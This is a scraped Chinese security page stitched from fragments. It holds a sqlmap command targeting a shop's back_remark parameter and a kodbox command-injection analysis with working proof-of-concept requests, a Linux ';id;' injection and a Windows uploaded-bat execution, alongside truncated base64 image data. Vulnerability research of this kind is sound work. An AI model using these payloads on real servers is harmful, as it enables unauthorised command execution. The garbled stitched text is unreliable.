iIiIiIiIiIiIgk4mUpEREREREREREQkASdTiYiIiIiIiIiIiCTgZCoRERERERERERGRBJxMJSIiIiIiIiIiIpLAOKcDyO8SExNzOoQ8z9iYw5SIKD+qM2pnlrX9eMuPWdY2Zb3k5GQkJyfndBifPOZgRERE2mVVPstcNnfjkalERESU7bJyIjU72iciIiKiT1edUTuzNN/M6vYpcziZSkRERERERERERCQBJ1OJiIgo22Tnr+z8RZ+IiIiIDC0780vmsrkTJ1OJiIiIiIiIiIiIJOBkKhEREREREREREZEEvEQnERER5TgT4wJoXKsCjDLwM29YZBz8gyIMHpM2Hz9+xIULF9CmTRsUKVIkW/smIiIiotynZoUSqFg6A3mhADyfvUNsfKLhg9LiwYMHMDY2Rr169bK13/yAk6lERESU437u3xKD2tXN8P2HrjqFGz5BBoxIu9OnT6Nnz574/fff4eTklG39ZtSbN2/g4+Oj9/0KFSoEOzu7LIiIiIiIKP+oUKoIXBZ8A+OCGTsB3N3vDQYvP2ngqLQbNmwYfH19ERoaChMTk2ztOyNu3LiBuLg4ve9Xt25Line truncated
<h3 id=toc-4>前台SQL注入</h3>
<p>代码分析/webapp/modules/api/actions/orderAction.class.php,发现back_remark字段没有添加过滤</p>
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240303141616-8b246254-d925-1.png><img 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truncated
<p>sqlmap语句</p>
<div class=highlight><pre><span></span><span class=c1>#module=api&amp;action=order&amp;m=ReturnData</span>
<span class=n>python</span> <span class=n>sqlmap</span><span class=o>.</span><span class=n>py</span> <span class=o>-</span><span class=n>u</span> <span class=s2>"http://127.0.0.1:8080/index.php?module=api&amp;action=order&amp;m=ReturnData"</span> <span class=o>-</span><span class=n>data</span> <span class=s2>"id=1&amp;oid=1&amp;otype=1&amp;re_type=1&amp;back_remark=1"</span> <span class=o>-</span><span class=n>p</span> <span class=n>back_remark</span> <span class=o>-</span><span class=n>dbs</span> <span class=o>-</span><span class=n>batch</span>
</pre></div>
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* Waves v0.7.5
* http://fian.my.id/Waves
*
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
* Released under the MIT license
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<h3 class="title word-wrap">kodbox代码注入漏洞复现与分析</h3>
<ul class=taglist-inline>
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
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<div class="quote mb-20">
kodbox 是一个网络文件管理器。是一款功能丰富的私有云在线文档管理系统。它可以帮助你快速搭建一个私有网盘/云桌面,方便地管理和共享文件。它也是一个网页代码编辑器,允许您直接在网页浏览器中开发网站。12月16日发布漏洞公告kalcaddle kodbox 中发现命令注入漏洞,影响版本为小于1.48。
</div>
<textarea id=md_view_content style=display:none>漏洞前言:
=====
kodbox 是一个网络文件管理器。是一款功能丰富的私有云在线文档管理系统。它可以帮助你快速搭建一个私有网盘/云桌面,方便地管理和共享文件。它也是一个网页代码编辑器,允许您直接在网页浏览器中开发网站。12月16日发布漏洞公告kalcaddle kodbox 中发现命令注入漏洞,影响版本为小于1.48。
漏洞环境:
=====
本地环境搭建:
源码下载:https:*//github.com/kalcaddle/kodbox*
下载1.47版本源码进行搭建,需要php版本为5以上,这里不做过多赘述。
![image-20231220145426948](https://shs3.b.qianxin.com/butian_public/f353177c8b73f6ec6c9616808b682c4717c8232f168e1.jpg)
漏洞分析:
=====
根据公告内容:受此漏洞影响的是文件plugins/officeViewer/controller/libreOffice/index.class.php的功能检查,对参数 soffice 的操纵会导致命令注入。
![image-20231220155207246](https://shs3.b.qianxin.com/butian_public/f99890061a4a5ce96aa327bbf03e90f71e66f15ed6103.jpg)
那么进一步跟进代码进行查看:
先查看主函数:
![image-20231220155537091](https://shs3.b.qianxin.com/butian_public/f839538ebe23426be857c7537ea272ff289fcfc950fb9.jpg)
主函数作用是在用户访问文件的时候首先获取处理文件插件功能的插件,再检查是否允许使用名为 'LibreOffice' 的扩展。getSoffice()用于检查能否成功获取到LibreOffice 的可执行文件路径,最后通过传入的filepath获取指定文件信息。
跟进getSoffice()方法:
![image-20231220164944113](https://shs3.b.qianxin.com/butian_public/f815817283d02e48c46386ed3ead55267318537ee7012.jpg)
`getSoffice` 方法用于获取LibreOffice的可执行文件路径的函数。它首先从配置中获取 LibreOffice 的安装路径,然后通过 `checkBin` 方法检查该路径是否有效。跟进checkBin():
![image-20231220185257407](https://shs3.b.qianxin.com/butian_public/f5292000996d11331bfc2c2aa23cad79ed0a9f5a379c5.jpg)
`checkBin` 方法用于检查指定可执行文件是否可用。通过执行 `shell_exec` 来尝试运行指定的可执行文件。
其中使用`shell_exec`函数执行了命令并将输出结果存储在`$result`变量中。
![image-20231227171859395](https://shs3.b.qianxin.com/butian_public/f330115f6cc535e5431505d451af21bf587869e3e406a.jpg)
```php
private function checkBin($bin,$check){
$code = Cache::get($bin);
if ($code) return $code;
$result = shell_exec($bin.' --help'); // ' 2&gt;&amp;1'
$code = strstr($result,$check) ? true : false;
Cache::set($bin, $code);
return $code;
}
```
可以看到这里$bin可控。
下面查看哪里调用了getSoffice(),找到函数check();
![image-20231220162324449](https://shs3.b.qianxin.com/butian_public/f4223156b16913d5de54dbf21dbb58dbba5f9254fcbc7.jpg)
```php
public function check(){
$bin = $this-&gt;in['soffice'];
//从 HTTP 请求中获取名为 `soffice` 的参数并将其值赋给变量 $bin
$plugin = Action($this-&gt;pluginName);
if(!empty($bin)) {
$plugin-&gt;setConfig(array('lbSoffice' =&gt; $bin));
}
if(isset($_GET['check'])){
if(!function_exists('shell_exec')) {
show_json(LNG('officeViewer.libreOffice.execDisabled'), false);
}
$msg = '';
if(!$soffice = $this-&gt;getSoffice()) {
$msg = LNG('officeViewer.libreOffice.checkError');
}
show_json($msg, !!$soffice);
}
Action($this-&gt;pluginName)-&gt;includeTpl('static/libreoffice/check.html');
}
```
可以看到通过此函数先从 HTTP 请求中获取名为 `soffice` 的参数,并将其值赋给变量 `$bin`,下来检查是否存在名为 "check" 的 GET 参数,如果存在才会进入条件语句的代码块,检查`shell_exec()` 函数是否可用,接下来调用`getSoffice()` 方法。
![image-20231221152920377](https://shs3.b.qianxin.com/butian_public/f71072686c8b39d5032a85ff51aa2d91c8e5073b1f39e.jpg)
在`getSoffice()` 方法中`isset($data['soffice'])` 检查数组 `$data` 中是否存在键名为 `'soffice'` 的元素,如果存在返回true,并将$data\['soffice'\]` 的值赋给$bin。
![image-20231227102617040](https://shs3.b.qianxin.com/butian_public/f352833268c4f7e4e7b8a8552578d3c50daaec0adeb62.jpg)
拼接soffice参数:plugin/officeViewer/libreOffice/index/check&amp;amp;soffice
使用 `&amp;` 连接check和soffice参数可以将参数以引用传递的方式传递给函数或方法。
(在php中两个参数使用 `&amp;` 连接参数是为了以引用传递的方式将参数传递给函数或方法。PHP 函数和方法中的参数传递分为按值传递、引用传递。默认情况下PHP 函数和方法中的参数传递是按值传递(pass by value)的,也就是说会创建参数的副本并传递给函数或方法。这意味着在函数或方法内部对参数进行修改不会影响到原始的参数。然而,有时候我们希望在函数或方法内部能够修改原始的参数。这时可以使用引用传递(pass by reference),在参数前面加上 `&amp;` 符号来实现。这样,当参数在函数或方法内部被修改时,原始的参数也会被修改。)
![image-20231227162319706](https://shs3.b.qianxin.com/butian_public/f801351dee06a198ff6d09f38f5cf2f2cde65e0cc14aa.jpg)
```php
$bin = '"'.trim(iconv_system($bin)).'"'; // win路径空格处理
```
在windows环境下对$bin特殊处理:getSoffice()中$bin参数会被两个双引号闭合,且使用`trim()` 函数删除 `$bin` 变量字符串首尾的空白字符,包括空格、制表符、换行符等。iconv\_system函数用于将“$bin”字符进行编码转换。
![image-20240102161322392](https://shs3.b.qianxin.com/butian_public/f84241869e19f4fc63c2e5f936e11099c855792cc7738.jpg)
windows环境下可以通过传入文件路径执行bat文件实现远程命令执行。
测试poc为:
```php
plugin/officeViewer/libreOffice/index/check&amp;soffice=D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\202312\19_81229b0a\poc.bat
```
linux环境下可以通过soffice传入命令通过闭合双引号实现命令注入。
测试poc为:
```php
index.php?plugin/officeViewer/libreOffice/index/check&amp;soffice=";id;%23&amp;check=1
```
漏洞利用:
=====
**linux系统下漏洞利用:**
![image-20231227162025164](https://shs3.b.qianxin.com/butian_public/f881092f78b40bf02306d3473bf8a20c41f5c04a66a18.jpg)
GET /kodbox/index.php?plugin/officeViewer/libreOffice/index/check&amp;amp;soffice=";id;%23&amp;amp;check=1 HTTP/1.1
Host: 192.168.145.131
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: KOD\_SESSION\_ID=9fbbb7a218e0d680fab1ce38b9879adc; CSRF\_TOKEN=6jfthGWYzrs5R8Xr; kodUserID=1
Connection: close
![image-20231227161617161](https://shs3.b.qianxin.com/butian_public/f973184302e81bf17ab0ca93aab0c1cf23af8959977bf.jpg)
**windows系统下:**
利用条件:1、需要权限可上传写入文件到服务器中。2、需要有可执行文件的绝对路径。
一、进入后台上传poc文件
![image-20231220145907781](https://shs3.b.qianxin.com/butian_public/f327865da8aa5ce351a5488a00df95ee8f7b95ae9d7ec.jpg)
poc内容为:
![image-20231220150009307](https://shs3.b.qianxin.com/butian_public/f425664465ff6a05b58f643a6ff33ee47910c2d90c8bb.jpg)
poc上传的绝对路径为:
```php
D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\202312\19_81229b0a\poc.bat
```
![image-20231220154626142](https://shs3.b.qianxin.com/butian_public/f4841226475af6fc4efc498a51deb2e1d5ab0d0130b8b.jpg)
二、执行poc.bat:
```php
index.php?plugin/officeViewer/libreOffice/index/check&amp;soffice=D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\202312\19_81229b0a\poc.bat
```
![image-20231220155010220](https://shs3.b.qianxin.com/butian_public/f790098ab1d910b62cfe06a9fa047a80f5ab9600b7d1a.jpg)
执行结果:
![image-20231220155044498](https://shs3.b.qianxin.com/butian_public/f6745872985f2da6f5169498f734d0919ce5a12c9e49c.jpg)</textarea>
<div id=layer-photos-demo>
<div id=md_view><div class=markdown-body><h1 blockindex=0>漏洞前言:</h1>
<p blockindex=1>kodbox 是一个网络文件管理器。是一款功能丰富的私有云在线文档管理系统。它可以帮助你快速搭建一个私有网盘/云桌面,方便地管理和共享文件。它也是一个网页代码编辑器,允许您直接在网页浏览器中开发网站。12月16日发布漏洞公告kalcaddle kodbox 中发现命令注入漏洞,影响版本为小于1.48。</p>
<h1 blockindex=2>漏洞环境:</h1>
<p blockindex=3>本地环境搭建:</p>
<p blockindex=4>源码下载:https:<em>//github.com/kalcaddle/kodbox</em></p>
<p blockindex=5>下载1.47版本源码进行搭建,需要php版本为5以上,这里不做过多赘述。</p>
<p blockindex=6><img src="data:image/png;base64,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<h1 blockindex=7>漏洞分析:</h1>
<p blockindex=8>根据公告内容:受此漏洞影响的是文件plugins/officeViewer/controller/libreOffice/index.class.php的功能检查,对参数 soffice 的操纵会导致命令注入。</p>
<p blockindex=9><img src="data:image/png;base64,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 truncated
